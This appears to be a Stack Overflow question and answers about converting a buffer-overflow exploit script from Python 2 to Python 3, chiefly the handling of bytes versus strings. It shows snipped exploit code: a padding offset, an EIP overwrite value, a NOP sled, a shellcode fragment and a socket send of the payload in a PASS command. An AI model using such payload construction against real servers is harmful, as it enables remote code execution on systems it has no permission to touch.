1

I realised that exploit development with python 3 is not as straight forward as it is using python 2.

As I understand, this is mainly due to the socket library and the added byte datatype.

For example, I could not figure out how to translate the following code into Python 3 code:

--- SNIP ---
shellcode =  ""
shellcode += "\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a"
--- SNIP ---
offset = "A" * 2606
eip = "\x43\x62\x4b\x5f"
nop = "\x90" * 16 
padding = "C"
buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16)
--- SNIP ---
bytes_sent = sock.send("PASS {}\r\n".format(buff))
--- SNIP ---

I tried the following:

--- SNIP ---
shellcode =  ""
shellcode += "\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a"
--- SNIP ---
offset = "A" * 2606
eip = "\x43\x62\x4b\x5f"
nop = "\x90" * 16 
padding = "C"
buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16)
--- SNIP ---
bytes_sent = sock.send("PASS {}".format(buff).encode("UTF-8"))
--- SNIP ---

The problem is that \x90 becomes C2 90 in memory, it tooks me hours to figure out that the issue came from my code. I also suspect that this could alter the shellcode as well.

I would like to learn the proper way of doing this in Python

Martijn Pieters
  • 1,048,767
  • 296
  • 4,058
  • 3,343
aress31
  • 340
  • 5
  • 20
  • 1
    That said, note there is a 2to3 tool bundled with python3 which will automatically do most of the work to convert python 2 to python 3 code. Might help here, too. – Pascal Mar 05 '17 at 16:59
  • @SteffenUllrich I was not sure where to post that question, I thought that security.stackexchange.com was the right place but you have got a point it is more a programming issue. I am going to close that question and open it in stackoverflow then. – aress31 Mar 05 '17 at 17:06
  • I am transferring this question to stackoverflow. – aress31 Mar 05 '17 at 17:08
  • 2
    pwntools for the win: `from pwn import *` – akg Mar 05 '17 at 17:10

2 Answers2

4

The Python 2 code essentially builds up a byte string. In Python 3, '...' string literals build up a Unicode string object instead.

In Python 3, you want bytes objects instead, which you can creating by using b'...' byte string literals:

# --- SNIP ---
shellcode =  b""
shellcode += b"\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a"
# --- SNIP ---
offset = b"A" * 2606
eip = b"\x43\x62\x4b\x5f"
nop = b"\x90" * 16 
padding = b"C"
buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16)
# --- SNIP ---
bytes_sent = sock.send(b"PASS %s\r\n" % buff)
# --- SNIP ---

bytes doesn't have a .format() method, but the % formatting operation is still available.

Martijn Pieters
  • 1,048,767
  • 296
  • 4,058
  • 3,343
  • Thanks for this reply; would you by chance know a way to directly convert a string variable to a byte variable? The `.encode()` method causes my `\x90` nopsled to be sent as `C2 90`. – aress31 Mar 06 '17 at 18:47
  • 1
    @AresS31: In a text string, `\xhh` escapes produce *Latin-1* codepoints (anything in the Unicode U+0000-U+00FF range), not bytes. You'd have to encode using Latin-1, the characters map one-on-one to bytes in that codec. However, you are not producing 'text' here, but binary data. Stick to using `bytes`. – Martijn Pieters Mar 06 '17 at 18:49
  • Was that a server-side exploit? or a local buffer overflow exploit occurring when you ran this python program? just looking for sample buffer overflow code written in python for demonstration purposes. – matanster Oct 22 '20 at 15:40
0

As told by Martijn Pieters♦, a good start to get the same signature in the output of python print like function as in the code injected in a program you have tu start to use b"your shellcode".

Example:

b"AAAA"

or

b"\x90\x90\x90\x90"

Now, to print to the output of another program, you shall not use print(). You shall use sys.stdout.buffer.write(value).

Example:

shellcode = b"\x41\x42\x43\x44"
sys.stdout.buffer.write(shellcode)

Sources:

  1. Live Overflow video on youtube